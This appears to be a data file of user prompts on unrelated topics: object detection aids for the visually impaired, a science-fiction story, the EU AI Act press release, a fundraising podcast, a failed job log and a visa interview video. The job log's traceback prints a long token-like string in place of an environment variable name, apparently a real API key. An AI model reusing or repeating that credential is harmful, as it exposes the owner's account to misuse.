estimation module to determine the distance of the detected individual. The labels of detected objects and the approximated distance of any individual caught are stored temporarily. An audio generation module translates text-based saved results into audio alerts that visually challenged users can listen to using headphones. Alerts are played at a predetermined time to reduce noise and ambiguity. Figure 10 shows the block diagram of the paper’s proposed system.\nLimitation:\n• Only detect humans\n• No design for any wearable option\u2003\n2.3.3.3. Real-time object detection and face recognition system to assist the visually impaired\n Anish Aralikatti et al. (2020) developed an android application that used the phone camera for real-time object and face detection using OpenCV, the You only live once (YOLO) algorithm and FaceNet. Detection of objects and human will be presented in an audio format to the user. OpenCV is used for real-time computer vision tasks. Since it is implemented into an android phone, they chose Tiny YOLO as it is a lightweight YOLO framework perfect for embedded and mobile devices. FaceNet is used for face identification systems as it can extract high-quality features of the face. Figure 12 shows the sample outputs of using the android application on a mobile phone. Figure 11 shows the face recognition feature of the android application.\nLimitation: Less accuracy than YOLO as Tiny YOLO model is smaller (Anish Aralikatti et al., 2020)" -"ENTRY 2 \n\nVal's Early Life\n\n\\*\\*\n\nStaying alive, I suppose you’d say that was my preoccupation, the Co-Op may as well have been my mother and father, and the options were that, or something worse. And spending my first few years in a firetrap tenement of a human district at Three Points East, I knew what “worse” looked like. \n\nSo you take ratings. Wash, rinse, repeat. I was always good at math, and fixing things, and managed to pick up a couple of local languages, like Tradetongue and Novayan - most of all I knew what streets to stay off of on my walk back from the market, and what not to wear in case I couldn’t stay off those streets. \n\nThen after Mama died, and we moved up to Perimeter One (where my grandmother lived), things changed. The big space station was lonely and austere much of the time but it was safe. It’s a lonely childhood but it’s not like you know better, because pretty much any other human children, doing the same thing, taking their Early ratings, sitting in the atrium by themselves while mom’s giving out tools at the station depot. But sometimes during Landing Day or Mars Day or Yuri’s Night it turns into a weeklong party, an inversion festival if you will. \n\nAnd that’s how I found out, that whatever station I happened to be at, there were other parts of the station. On Perimeter One, I would walk, and take the freight lift down to the Nadiran quarter. There it was clean, and quiet, and everybody usually just went about their thing. I strained to listen to their language and learned quickly to duck behind a pylon before I was seen. They leaned over in their dark robes, speaking barely above a whisper, making deals, and after straining my eyes I learned to pick up a bit of the hand signs they used in their haggling. \n\nI rated onto my first Massive Container Transport at 16, as a trainee. That’s when people started calling me “Sparks,” not once in that whole trip did anyone remember my name. I thought stationside would be different with cred on my stick, no such luck.\n\nI tried to hook up in port a few times, wanted to see what all the fuss was about, turns out alcohol can make anything happen. Mostly though I just didn’t know how to pass the time after the depots and library branches were closed. Didn’t know what to do with company anyway, so mostly in port I just laid low. \n\nBut… I just… nothing ever really happened, not at any stop, year after year; somehow it’s like I was standing on the sidelines, my syndics all shuffled off to their families and friends. None of that had happened for me, somehow whatever it was when we were on the ship, disappeared in port. \n\nSo at 20, when I had the chance to rate in ansible and work a ringship between the Destruction system and the Port West system, I took it. That’s why I became an intersystem spacer, because I was already out of sync anyway, had no family, had no one. Time loss wouldn’t mean a thing to me, nobody knew I was alive. Some Light Chasers get addicted to the feeling of… when I get back, how badly will shit have changed. Some of us just love that every time we get back, the food’s better than whatever we left behind. A few months to us, but meanwhile, downworld they’ve had years to get their shit together. \n\nNot like any sensible person with a family would ever make a life of this. It’s not just a way to run away from your problems, nobody downworld wants to deal with it. One or two trips, that’s one thing: especially when you’re young. But you pick the life of the Light Chaser, for any length of time, because you got no family to begin with, and you don’t want one.\n\nMay as well see the next system over, right? Get me further away from the hole in the wall called Three Points East. I never thought much about the future. That had something to do with settling down in the communes and raising seaweed or something, whenever anyone talks about “the future of the Co-Op” they’re always talking about the people raising rugrats on AgCom 5 or something. People on the ground, they think about the future. For me, the future is happening whether I want to think about it or not. No time to think about it.\n\nAs a kid I was good at just a few things, staying out of the way and studying, and fending for myself, and not complaining. Above all, don’t complain. They won’t hear it. If you think this life ain’t much then it’s still an RCH better than joining a gang on Three Points East, or selling your body, or being a drug mule on Port West. If you’re a smart kid then this is your best chance at an actual life. Maybe even you put your feet dirtside and have a family. Your grandparents broke their bodies as asteroid miners to give you this, and shed blood to give you this. Your great grandfather or great grandmother stayed in a crimp on some hellhole station, just to get abducted away by corporate sleeper ship and cross light years in cold storage. All so you could have this, in relative safety, the routines are what they are, and so your own children (figuratively speaking) could do better still. Could always be much worse. \n\nYou could be on Earth. And in my years since, I learned there are places even worse, that make Earth look like a garden spot. Suffice it to say, seeing what I’ve seen since, I might take Earth over any of them.\nENTRY 3\n\nSo the thing about long distance transport is that it’s one of the best places to be a trainee. It’s got the most opportunities for rating and cross-training. You’re probably not gonna die too messily. If it’s a Massive Container Transport going between systems, you see the most people, and it’s still one of the least cramped of the ships in ItSyn’s complement, let alone the Co-Op’s as a whole. (An MCT is a belly-lander, detachable from its modular ring drive, but that’s beside the point.) This make and model of MCT, a second-generation, is the newest and cleanest and has the best filtration, and the most space. On a smaller ship, you’re smelling each other’s sweaty asscracks all day. MCTs on the other hand just kind of always smell like hand cleaner and engine grease. MCTs are the smoothest ride, the newest components. \nThe Intersystem Transport Syndicate has the best facilities, the best security. You can license your own ship and run a commercial service under the auspices of the Co-Op, sure, but on a lot of things you’re just gonna be on your own. And that’s how lots of people like it.\nBut you gotta get from here to there, and if you’re from Three Points East like me, then the extra cred working for ItSyn is how you get there. The MCTs have the best facilities, with two big hab rings for in-system (longest parts of a trip). Before we make jump between systems, you make sure you got your belongings off because we’re going to be leaving the hab rings behind. On we go into the drive frame, we lock in, on goes the A-drive and control units, and then the pre-jump checks before spin up, and that’s a longer procedure than I’m going to bother to walk you through, but everything’s got to be snug and everything’s got to be balanced. Then you take your meds and get into your liquid filled intersystem crash couches. A jump takes absolutely precision usage of fuel, more than any other maneuver, because you don’t want to overshoot your target and plow into a star. Takes a big thrust to spin up, the hardest you’ll pull Gs on any trip short of leaving dirtside. I know you were hoping for some kind of warp drive technobabble, or to hear about monsters or some bullshit. Sorry I can’t make it a better story.\n\nThat’s the hardest part of a jump. It’s not even the spin-up. That happens fast, and smooth. You feel nothing. Nothing even shifts as the ripple in spacetime moves around you and you push through it. Some of my syndics called that part hitting the halfpipe, don’t know where that’s even from.\nJust get in, sit down, shut up, and hang on.\n\\*\\*\nThe best part of an MCT is the privacy. The newer MCT habs have “soundproof” individual compartments with sliding doors, so if your habmates are like mine and always having visitors over, then you’re going to be grateful for that. If the visitor is a certain Novayan, then it’s probably not going to be enough.\nThat Novayan was one K’Ratha, an FNG working in the hold, better known for his sack skills than anything else. He’d come aboard with some other Novayans a month back, but none were as popular as him (there were a couple of quieter males and a grumpy female). K’Ratha made the rounds in my hab multiple times on each leg of the trip, and this was going to be a long one. Apparently he was quite in demand, and the soundproofing wasn’t enough. Ended up just laying with my noise-cancelers on and the pillow over my head. This was going to be a long trip.\nWhen I finally saw him in line in the mess, there was another Novayan with him, and overhearing the conversation between them, I had the impression that our K’Ratha thought his ears and whiskers were gonna buy him some automatic cred on the lanes. The other Novayan – bigger, with broader shoulders - crossed his arms and glowered down at K’Ratha, shaking his head. “It’s rude, K’Ratha,” he said, his voice a shade deeper than the other’s, “To speak in Novayan in front of the humans. Why do you have to be such a walking stereotype, ay?”\n“Rreh. Thanna rrala the,” I said.\nThe bigger Novayan reached up and smacked the back of K’Ratha’s head.\n“I apologize for my brother,” he said, bowing his head slightly.\nNow, I’d never seen this Novayan before, despite the fact that he’d come on with K’Ratha, and was surprised at his aura of general formality.\nThe two Novayans looked similar, bigger though this one was. They both had coppery fur with dark stripes and swirls, and black noses.\nThe patches on the bigger Novayan’s flight suit read NAV SPEC III, and he had a bunch more additional rating patches on his flight suit and various fam candy, and his name patch read R’Kesh.\nI shook my head, and kept moving forward in the line to get my tray, thinking on whatever deal the Co-Op must’ve made with Seven Brothers Aqua to keep this many Novayan crewmates in this much space-farmed salmon.\n\n\\*\\*" -'What this article is explaining is this a law? "\nEuropean Council\n\nCouncil of the European Union\n\nAbout the institutions\nTopics\nMeetings\nNews and media\nResearch and publications\nEN\nHome Press Press releases\nCouncil of the EU Press release 6 December 2022 10:20\nArtificial Intelligence Act: Council calls for promoting safe AI that respects fundamental rights\nThe Council has adopted its common position (‘general approach’) on the Artificial Intelligence Act. Its aim is to ensure that artificial intelligence (AI) systems placed on the EU market and used in the Union are safe and respect existing law on fundamental rights and Union values.\n\nIvan Bartoš, Czech Deputy Prime Minister for digitalisation and minister of regional development\nArtificial Intelligence is of paramount importance for our future. Today, we managed to achieve a delicate balance which will boost innovation and uptake of artificial intelligence technology across Europe. With all the benefits it presents, on the one hand, and full respect of the fundamental rights of our citizens, on the other.\n\nIvan Bartoš, Czech Deputy Prime Minister for digitalisation and minister of regional development\nThe draft regulation presented by the Commission in April 2021 is a key element of the EU’s policy to foster the development and uptake across the single market of safe and lawful AI that respects fundamental rights.\n\nThe proposal follows a risk-based approach and lays down a uniform, horizontal legal framework for AI that aims to ensure legal certainty. It promotes investment and innovation in AI, enhances governance and effective enforcement of existing law on fundamental rights and safety, and facilitates the development of a single market for AI applications. It goes hand in hand with other initiatives, including the Coordinated Plan on Artificial Intelligence which aims to accelerate investment in AI in Europe.\n\nDefinition of an AI system\nTo ensure that the definition of an AI system provides sufficiently clear criteria for distinguishing AI from simpler software systems, the Council’s text narrows down the definition to systems developed through machine learning approaches and logic- and knowledge-based approaches.\n\nProhibited AI practices\nConcerning prohibited AI practices, the text extends to private actors the prohibition on using AI for social scoring. Furthermore, the provision prohibiting the use of AI systems that exploit the vulnerabilities of a specific group of persons now also covers persons who are vulnerable due to their social or economic situation.\n\nAs regards the prohibition of the use of ‘real-time’ remote biometric identification systems in publicly accessible spaces by law enforcement authorities, the text clarifies the objectives where such use is strictly necessary for law enforcement purposes and for which law enforcement authorities should therefore be exceptionally allowed to use such systems.\n\nClassification of AI systems as high-risk\nRegarding the classification of AI systems as high-risk, the text adds a horizontal layer on top of the high-risk classification, to ensure that AI systems that are not likely to cause serious fundamental rights violations or other significant risks are not captured.\n\nRequirements for high-risk AI systems\nMany of the requirements for high-risk AI systems have been clarified and adjusted in such a way that they are more technically feasible and less burdensome for stakeholders to comply with, for example as regards the quality of data, or in relation to the technical documentation that should be drawn up by SMEs to demonstrate that their high-risk AI systems comply with the requirements.\n\nSince AI systems are developed and distributed through complex value chains, the text includes changes clarifying the allocation of responsibilities and roles of the various actors in those chains, in particular providers and users of AI systems. It also clarifies the relationship between responsibilities under the AI Act and responsibilities that already exist under other legislation, such as the relevant Union data protection or sectorial legislation, including as regards the financial services sector.\n\nGeneral purpose AI systems\nNew provisions have been added to account of situations where AI systems can be used for many different purposes (general purpose AI), and where general purpose AI technology is subsequently integrated into another high-risk system.\n\nThe text specifies that certain requirements for high-risk AI systems would also apply to general purpose AI systems in such cases. However, instead of direct application of these requirements, an implementing act would specify how they should be applied in relation to general purpose AI systems, based on a consultation and detailed impact assessment and considering specific characteristics of these systems and related value chain, technical feasibility and market and technological developments.\n\nScope and provisions relating to law enforcement authorities\nAn explicit reference has been made to the exclusion of national security, defence, and military purposes from the scope of the AI Act. Similarly, it has been clarified that the AI Act should not apply to AI systems and their outputs used for the sole purpose of research and development and to obligations of people using AI for non-professional purposes, which would fall outside the scope of the AI Act, except for the transparency obligations.\n\nConsidering the specificities of law enforcement authorities, several changes have been made to provisions relating to the use of AI systems for law enforcement purposes. Notably, subject to appropriate safeguards, these changes are meant to reflect the need to respect the confidentiality of sensitive operational data in relation to their activities.\n\nCompliance framework and AI Board\nTo simplify the compliance framework for the AI Act, the text contains several clarifications and simplifications to the provisions on the conformity assessment procedures.\n\nThe provisions related to market surveillance have also been clarified and simplified to make them more effective and easier to implement. The text also substantially modifies the provisions concerning the AI Board, aiming to ensure that it has greater autonomy and to strengthen its role in the governance architecture for the AI Act. In order to ensure the involvement of the stakeholders in relation to all issues related to the implementation of the AI Act, including the preparation of implementing and delegated acts, a new requirement has been added for the Board to create a permanent subgroup serving as a platform for a wide range of stakeholders.\n\nAs regards penalties for infringements of the provisions of the AI Act, the text provides for more proportionate caps on administrative fines for SMEs and start-ups.\n\nTransparency and other provisions in favour of the affected persons\nThe text includes several changes that increase transparency regarding the use of high-risk AI systems. Notably, some provisions have been updated to indicate that certain users of a high-risk AI system that are public entities will also be obliged to register in the EU database for high-risk AI systems.\n\nMoreover, a newly added provision puts emphasis on an obligation for users of an emotion recognition system to inform natural persons when they are being exposed to such a system.\n\nThe text also makes it clear that a natural or legal person may make a complaint to the relevant market surveillance authority concerning non-compliance with the AI Act and may expect that such a complaint will be handled in line with the dedicated procedures of that authority.\n\nMeasures in support of innovation\nWith a view to creating a legal framework that is more innovation-friendly and to promoting evidence-based regulatory learning, the provisions concerning measures in support of innovation have been substantially modified in the text.\n\nNotably, it has been clarified that AI regulatory sandboxes, which are supposed to establish a controlled environment for the development, testing and validation of innovative AI systems, should also allow for testing of innovative AI systems in real world conditions.\n\nFurthermore, new provisions have been added allowing unsupervised real-world testing of AI systems, under specific conditions and safeguards. In order to alleviate the administrative burden for smaller companies, the text includes a list of actions to be undertaken to support such operators, and it provides for some limited and clearly specified derogations.\n\nNext steps\nThe adoption of the general approach will allow the Council to enter negotiations with the European Parliament (‘trilogues’) once the latter adopts its own position with a view to reaching an agreement on the proposed regulation.\n\nGeneral approach\nGeneral approach - Statement by Germany\nDraft regulation (Commission proposal)\nA European approach to artificial intelligence (European Commission information)\nA digital future for Europe (background information)\nVisit the meeting page\nPress contacts\n Dimosthenis Mammonas\nPress officer\n +32 477 61 20 77\n +32 2 281 2504\n @dimos\\_mammonas\nIf you are not a journalist, please send your request to the public information service.\n\nTopics: \nShare\nShare this page on Facebook Share this page on Twitter Share this page on LinkedIn Copy the URL in your clipboard \nLast reviewed on 07/12/2022\nIs there something wrong with this page?\nAbout the secretariat\n\nPublic procurement\nCareers\nTraineeships\nMore\nCorporate policies\n\nData protection\nTransparency\nMore\nContact\n\nHow to get to the Council\nAsk a question\nVisit the Council\nMore\nEmail subscription\n\nSign up to receive our email and SMS alerts\n\nAbout this site\n\nThis website is the official website of the Council of the EU and the European Council. It is managed by the General Secretariat of the Council, the body of staff responsible for assisting the Council of the EU and the European Council.\n\nFollow us\n\nSitemap About this site Privacy and legal notice Language policy Accessibility policy Copyright Cookies\n"' -'[00:00:05.050] – Intro\nWelcome to The Nonprofit Hero Factory, a weekly live video broadcast and podcast where we’ll be helping nonprofit leaders and innovators create more heroes for their cause and a better world for all of us. Da Ding!\n\n[00:00:21.350] – Boris\nHi, everybody. Welcome back to The Nonprofit Hero Factory. I’m excited today to talk to Steven Shattuck, the Chief Engagement Officer at Bloomerang. Over the last several episodes, we’ve talked a lot about data. Really, since I started this podcast, I’ve talked about data and especially about the story in the data and how to apply storytelling to data.\n\n[00:00:40.100] – Boris\nToday, we’re going to dive deeper into one of the aspects that we’ve been focusing on recently, which is, what is the data saying about giving in the U.S. over the last couple of years? Previously, there have been a lot of studies that have purported to demonstrate that data—that the giving in the U.S. is on the decline, that individual giving is on the decline, and primarily it’s larger scale donors that are making up the difference. Over the last couple of years, through the pandemic, things seem to have shifted quite a bit. We recently had Tim from Neon One on the show talking about this.\n\n[00:01:17.920] – Boris\nToday we’re going to dive deeper with Steven Shattuck, who, as I said, is the Chief Engagement Officer at Bloomerang. Steven is also a prolific writer and speaker. He curates Bloomerang’s sector-leading educational content and hosts their weekly webinar series which features the top thought leaders in the nonprofit sector. I am honored to have been one of those. Actually, no, I’m going to be one of those in a couple of months here. He is the author of “Robots Make Bad Fundraisers,” an awesome title, subtitled “How Nonprofits Can Maintain the Heart in the Digital Age,” which was published by Bold and Bright Media in 2020. Steven describes his superpower as helping nonprofits humanize how they use technology to aid in their fundraising efforts. An awesome superpower that I’m excited to bring Steven on to demonstrate and help us all with today. Hey, Steven.\n\n[00:02:06.750] – Steven Shattuck\nHey, Boris. Thanks for having me.\n\n[00:02:08.470] – Boris\nIt is absolutely my pleasure. We’ve known each other for a little while now, and I’m excited every time I get to chat with you. It’s always a fun conversation. I learn things and we get to share more things with people out there who want to create more heroes for their cause.\n\n[00:02:22.280] – Steven Shattuck\nI feel the same way. We’re going to have you on the webinar series. We had you on The Kindful one, and I learned a lot from you. And yeah, this is awesome to be here. So thank you.\n\n[00:02:30.340] – Boris\nAwesome, Steven. So I’ve shared your bio and I’ve mentioned your superpower, which I’m excited to utilize today—to harness for all of us today. But I always like to ask people, since I do focus on storytelling so much, what’s your story? Why are you who you are today?\n\n[00:02:44.840] – Steven Shattuck\nWell, it’s funny, I was thinking about this because the story always kind of annoys my wife so now that we’re going to record it, she can relive it, I guess. But I met my wife in college, and she always aspired to be a nonprofit person. She wanted to work for nonprofits. She did that when she got out of school. She’s achieved that goal, but I sort of fell into it kind of backwards. I ended up working at a marketing agency that just so happened to serve nonprofits exclusively. So my first kind of gig out of school was producing videos like Gala videos. We were sending DVDs in the mail for Capital Campaign, if that kind of ages myself a little bit. So she’s always kind of annoyed that I get to do things like this. “You never wanted to work for nonprofits. I always did.” So that’s kind of how I fell into it.\n\n[00:03:35.050] – Steven Shattuck\nI was an English major, so it was basically work at a marketing agency or write the Great American Novel. And thankfully, I did the former because no one needs that novel from me. I’ve been doing that. And that’s kind of where I got my chops in fundraising and eventually made my way to Bloomerang when that company got started, and I get to talk to fundraisers, find out what’s working, what’s not working. Highlight their stories. Look at the data. That’s what I’ve been doing a lot over the last two years. Like you said, just to kind of help people meander, navigate through this new reality that we find ourselves in.\n\n[00:04:14.930] – Boris\nAwesome. Like so many of us, you came into it through the side door, to the nonprofit space, but you got to bring skills that nonprofits desperately need. And I’m sure they’re all grateful, the ones that get to work with you, for what you’ve been able to bring to the table and been able to bring to Bloomerang since then. Let’s go ahead then and dive in and see what is going on out there, Steven, what’s happening in that sector?\n\n[00:04:41.430] – Steven Shattuck\nYeah. I mean, this is what we’ve been looking at. Not only what Bloomerang customers are doing, but all the studies. You talked to Tim last week, they did that great study over at Neon One, The Fundraising Effectiveness Project, Giving USA, the Blackbaud study. All of that seems to point to what you said, which is people really responded during the pandemic. I know we’re not quite out of it yet, but those giving levels have really kind of maintained that increase that occurred in 2020, which surprised a lot of us, right? We figured, dang, that was a tough economy. That was obviously a very severe pandemic and still is in a lot of ways.\n\n[00:05:20.770] – Steven Shattuck\nBut when you look at what happened in terms of donor response, the generosity was there and the capacity was there, and it was those small dollar donors that led the way, right? It’s exactly what you said. It wasn’t just those billionaires kind of swooping in to save the day. It was people giving under $250 that was the biggest cohort of donors. So we were all surprised by that. Although I wonder if maybe we shouldn’t have been surprised. Because if you look back on all of the past crises or difficult times, 2008, 2001, the dot-com bubble, like all the way back to savings and loan, the nonprofit sector really does kind of resist those outside forces. And I know there’s probably people listening and watching who maybe had a really hard couple of years. And I don’t mean to erase that experience. I mean it as an encouragement. The capacity is there. The generosity is there. And in times of crisis, whether it’s a big international pandemic or a tornado in your city, people respond.\n\n[00:06:30.120] – Steven Shattuck\nBut what we found looking at our customer data was a little more nuanced. The people that asked and contextualized those appeals for how they were experiencing the pandemic specifically, those are the people that had some of their best fundraising years ever. And it wasn’t just things like food banks or the kind of causes that you hear about as being like COVID causes, which I don’t really like. I don’t think such a thing exists. But animal shelters, environmental organizations, other social services, some of those folks had their best years ever. And really what we found is it’s because they kept their foot on the gas. They didn’t put themselves on the sidelines. They didn’t allow themselves to be talked into this myth that we don’t matter or our cause doesn’t matter as much as maybe some other folks’ cause. So that’s really what I’ve been shouting from the rooftops, because there will be another crisis, right? Whether it’s local or global. And don’t decide for donors, because if you don’t ask, you’re not going to get it.\n\n[00:07:37.670] – Boris\nAnd that wraps up our episode for today.\n\n[00:07:39.300] – Steven Shattuck\nThat’s it. See ya.\n\n[00:07:42.050] – Boris\nNo, I’m kidding. But I’m also kind of serious because that is really, I think the key takeaway. Let’s dig a little deeper and get a little more out of you as long as we’ve got you here, Steven. So first of all, you say maybe we shouldn’t have been surprised. And I don’t know if you saw me shaking my head vehemently. No, we should not have been. People respond to crisis. People respond to whatever gets that oxytocin flowing, whatever gets that empathy going, right? We naturally respond to it. We feel an obligation to our world, to our society, to the people we care about, to the causes we care about. And that realm expands significantly. I talk a lot in my storytelling workshops and online courses and whatever else about the greater the common villain, the more people it’s going to unite against it, the more people are going to understand the pain that that villain inflicts. And so the more people are going to rise up to try to combat it. So, absolutely. In a time of crisis, more people will give because they’re going to feel for their fellow humans suffering.\n\n[00:08:51.300] – Steven Shattuck\nAbsolutely. And some people feel powerless, too. They want to feel like, Jeez, I’m stuck at home. I can’t do anything. Who knows when this is going to end? Donating to a nonprofit may be the only way that they can exercise some level of control over what’s going on around them. And that’s a real opportunity. That’s an advantage, right? There’s something you don’t hear very often that the nonprofit sector has an advantage over maybe the for-profit sector, for example, to generate that. But you mentioned the underlying data. The thing that I always think of is, we could see our customers that were moving up and to the right versus the ones that were kind of moving down and to the right. And among the people that were increasing, they were asking more, right? We saw people slow down the asks. Maybe they got caught into this trap of, we don’t matter, our cause doesn’t matter as much.\n\n[00:09:48.740] – Steven Shattuck\nBut even among the people who kept asking, there was a nuanced difference. There were people that were asking but not sort of contextualizing their need or how they were affected by the pandemic like you said, versus the ones who were and the ones who were who sort of addressed that elephant in the room, they did much better. And maybe those people who didn’t truly weren’t impacted, although I kind of find that hard to believe. I think everyone was impacted in some way. But maybe they were concerned about, I don’t know, donor fatigue or talking about something that nobody wanted to think about. So that is a big takeaway, we found, is for sure, keep asking, don’t decide for the donor. But if you’re being impacted by some external force, that’s the rallying cry, that’s that common enemy, like you mentioned. That’s a perfect way of saying it. If that exists, tell people and allow them to rally around it. Because if they don’t know about it, they may not find that appeal to be as urgent or as necessary as the ones who do mention those things.\n\n[00:10:55.590] – Boris\nRight. In some cases, the organization is suffering from the very same thing, this pandemic, for example, that donors are suffering from, or that the recipients, the clients of various organizations are suffering from. So you can be in there and assuming you have a strong relationship with your donor base, they’re going to care about your survival, your work. They might think, okay, at the moment, putting on a play is not as relevant as producing more oxygen machines, what do they call them? Respirators in hospitals. But that doesn’t mean that they’re going to switch their identity to now no longer say, “Oh, I don’t support theater. I now only support medical treatment.”\n\n[00:11:47.330] – Steven Shattuck\nYeah, you nailed it. It’s a scarcity mindset. It’s like, well, if they care about that cause, they can’t—they don’t have the bandwidth or the capacity to care about ours. And people are diverse, right? People give to multiple causes. But I also think what you said is really important that, hey, you want us to be around when this is over? Don’t you want plays and performances to resume? Don’t you want this YMCA to open back up and be able to have classes and things like that? That was a really strong sort of case for support that we saw work, specifically, this idea of you want us to be around when this is over. You can sort of protect our future by donating now. And the people that cared about those causes pre-pandemic didn’t suddenly stop caring about animals or the performing arts or whatever it is just because there’s a pandemic. There’s room for both, right? And I think we were talking about arts, performing arts before we hit record. Those are the folks that really kind of stood out from the crowd, if that’s the right metaphor, and survived and not only survived but thrived during such a difficult time.\n\n[00:13:02.630] – Boris\nI think some of them did and some of them didn’t, to be honest, without revealing any names, if you will. I spoke to a lot of arts organizations over the last couple of years that were really struggling. They didn’t want to appear tone deaf, which I totally understand and respect.\n\n[00:13:18.510] – Steven Shattuck\nYes.\n\n[00:13:19.490] – Boris\nBut at the same time, they didn’t know how they could survive. And some of them shut their doors temporarily. Some of them may have shut their doors permanently because they didn’t feel like their cause was as important, as significant. I hate to use the word as sexy as some of the others out there in a time of crisis. Again, you and I were talking earlier. There’s always going to be a crisis.\n\n[00:13:46.140] – Steven Shattuck\nYes.\n\n[00:13:46.600] – Boris\nRight now there is certainly a crisis that’s eating up a lot of my mental capacity and my spare discretionary, giving money, trying to support the folks in Ukraine and trying to help end that situation in a positive way, as positive as possible. But that doesn’t mean that I don’t care about the other causes that I’ve been supporting all this time.' -'Got another error:\n03/21/2023 10:26:10 AM\nQueued\n03/21/2023 10:26:10 AM\nDedicating resources\n03/21/2023 10:26:10 AM\nPartition ID: 466, Label: "Job"\n03/21/2023 10:26:10 AM\nActual CPU allocation: 256m\n03/21/2023 10:26:10 AM\nActual memory allocated: 1024mb\n03/21/2023 10:26:13 AM\nYour job is now in a running state.\n03/21/2023 10:26:15 AM\nCollecting slack-sdk\n03/21/2023 10:26:15 AM\n Downloading slack\\_sdk-3.20.2-py2.py3-none-any.whl (274 kB)\n03/21/2023 10:26:18 AM\nInstalling collected packages: slack-sdk\n03/21/2023 10:26:20 AM\nSuccessfully installed slack-sdk-3.20.2\n03/21/2023 10:26:27 AM\nRequirement already satisfied: slack-sdk in /opt/conda/lib/python3.7/site-packages (3.20.2)\n03/21/2023 10:26:32 AM\nRequirement already satisfied: civis in /opt/conda/lib/python3.7/site-packages (1.16.0)\n03/21/2023 10:26:32 AM\nRequirement already satisfied: click<9,>=6.0 in /opt/conda/lib/python3.7/site-packages (from civis) (6.7)\n03/21/2023 10:26:32 AM\nRequirement already satisfied: tenacity<9,>=6.2 in /opt/conda/lib/python3.7/site-packages (from civis) (8.0.1)\n03/21/2023 10:26:32 AM\nRequirement already satisfied: jsonschema<5,>=2.5.1 in /opt/conda/lib/python3.7/site-packages (from civis) (3.2.0)\n03/21/2023 10:26:32 AM\nRequirement already satisfied: cloudpickle<3,>=0.2 in /opt/conda/lib/python3.7/site-packages (from civis) (1.2.2)\n03/21/2023 10:26:32 AM\nRequirement already satisfied: jsonref<=0.2.99,>=0.1 in /opt/conda/lib/python3.7/site-packages (from civis) (0.2)\n03/21/2023 10:26:32 AM\nRequirement already satisfied: requests<3,>=2.12.0 in /opt/conda/lib/python3.7/site-packages (from civis) (2.22.0)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: joblib<2,>=0.11 in /opt/conda/lib/python3.7/site-packages (from civis) (0.14.1)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: pyyaml<7,>=3.0 in /opt/conda/lib/python3.7/site-packages (from civis) (5.2)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: importlib-metadata; python\\_version < "3.8" in /opt/conda/lib/python3.7/site-packages (from jsonschema<5,>=2.5.1->civis) (4.8.2)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: pyrsistent>=0.14.0 in /opt/conda/lib/python3.7/site-packages (from jsonschema<5,>=2.5.1->civis) (0.18.0)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: attrs>=17.4.0 in /opt/conda/lib/python3.7/site-packages (from jsonschema<5,>=2.5.1->civis) (21.2.0)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: six>=1.11.0 in /opt/conda/lib/python3.7/site-packages (from jsonschema<5,>=2.5.1->civis) (1.16.0)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: setuptools in /opt/conda/lib/python3.7/site-packages (from jsonschema<5,>=2.5.1->civis) (58.0.4)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 in /opt/conda/lib/python3.7/site-packages (from requests<3,>=2.12.0->civis) (1.25.7)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: certifi>=2017.4.17 in /opt/conda/lib/python3.7/site-packages (from requests<3,>=2.12.0->civis) (2021.10.8)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: idna<2.9,>=2.5 in /opt/conda/lib/python3.7/site-packages (from requests<3,>=2.12.0->civis) (2.8)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: chardet<3.1.0,>=3.0.2 in /opt/conda/lib/python3.7/site-packages (from requests<3,>=2.12.0->civis) (3.0.4)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: typing-extensions>=3.6.4; python\\_version < "3.8" in /opt/conda/lib/python3.7/site-packages (from importlib-metadata; python\\_version < "3.8"->jsonschema<5,>=2.5.1->civis) (3.10.0.2)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: zipp>=0.5 in /opt/conda/lib/python3.7/site-packages (from importlib-metadata; python\\_version < "3.8"->jsonschema<5,>=2.5.1->civis) (3.6.0)\n03/21/2023 10:26:36 AM\nTraceback (most recent call last):\n03/21/2023 10:26:36 AM\n File "/app/script", line 20, in \n03/21/2023 10:26:36 AM\n CIVIS\\_API\\_KEY = os.environ["gARr3JjliVTvR4hP6yWO3Gse-12qjB72egrWVkuxBAY"]\n03/21/2023 10:26:36 AM\n File "/opt/conda/lib/python3.7/os.py", line 679, in \\_\\_getitem\\_\\_\n03/21/2023 10:26:36 AM\n raise KeyError(key) from None\n03/21/2023 10:26:36 AM\nKeyError: \'gARr3JjliVTvR4hP6yWO3Gse-12qjB72egrWVkuxBAY\'\n03/21/2023 10:26:37 AM\nFailed: The job container failed. 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This may happen when a Run finishes quickly.' -'Title: "(333) What not to do at the Visa Interview | The ultimate visa journey guide presented by Ex-Visa Officers - YouTube"\nVideo Transcript: "good morning everyone i\'m so excited to invite you to part three of our ultimate visa journey with former visa officers and today\'s topic is what not to do at your visa interview so it\'s morning for me but it\'s actually evening time for my colleagues uh kat and swati and this is going to be an exciting session for you today because we have a breadth of experience we have cat who has prior experience as a visa officer in china where she worked at the u. s embassy in beijing and then we have swati who has tons of india experience but also she\'s worked in honduras so both at the u.s embassy and the us consulate so um you know we\'re kind of from all over the globe it\'s night time for them it\'s really early morning for us but it\'s so nice that we can gather here in this virtual space to help our audience help our subscribers go through this process sometimes i like to refer to the us visa interview process as a test with no instructions and i think it\'s interesting because you know to americans it\'s a relatively straightforward process and even then there are problems but for international you know guests for international citizens all of a sudden you know you\'re coming face to face with a us government official uh perhaps english is not even your native language and all of a sudden you have to you know be prepared to you know handle this interview and while it might be a short interview it\'s very high stakes it\'s very important and you\'ve heard us talk about this over and over again on our sessions that you know you want to start off on the right foot you want to make sure you do well on the interview because your visa record is for life um you don\'t want a refusal to sort of tarnish your record because it could affect future visa categories that you apply for or a green card that you\'re applying for and so it\'s very very important that you master this process and this is what we do here at argo we\'re all former visa officers we\'ve all had years of experience working behind the visa window interviewing you know tons of uh visa applicants and how many how many interviews have you guys done oh gosh uh i\'ve probably done i don\'t know over 75 000 between my justice and homeland security and state department days in different kinds of categories immigrant visas and non-immigrant visas citizenship 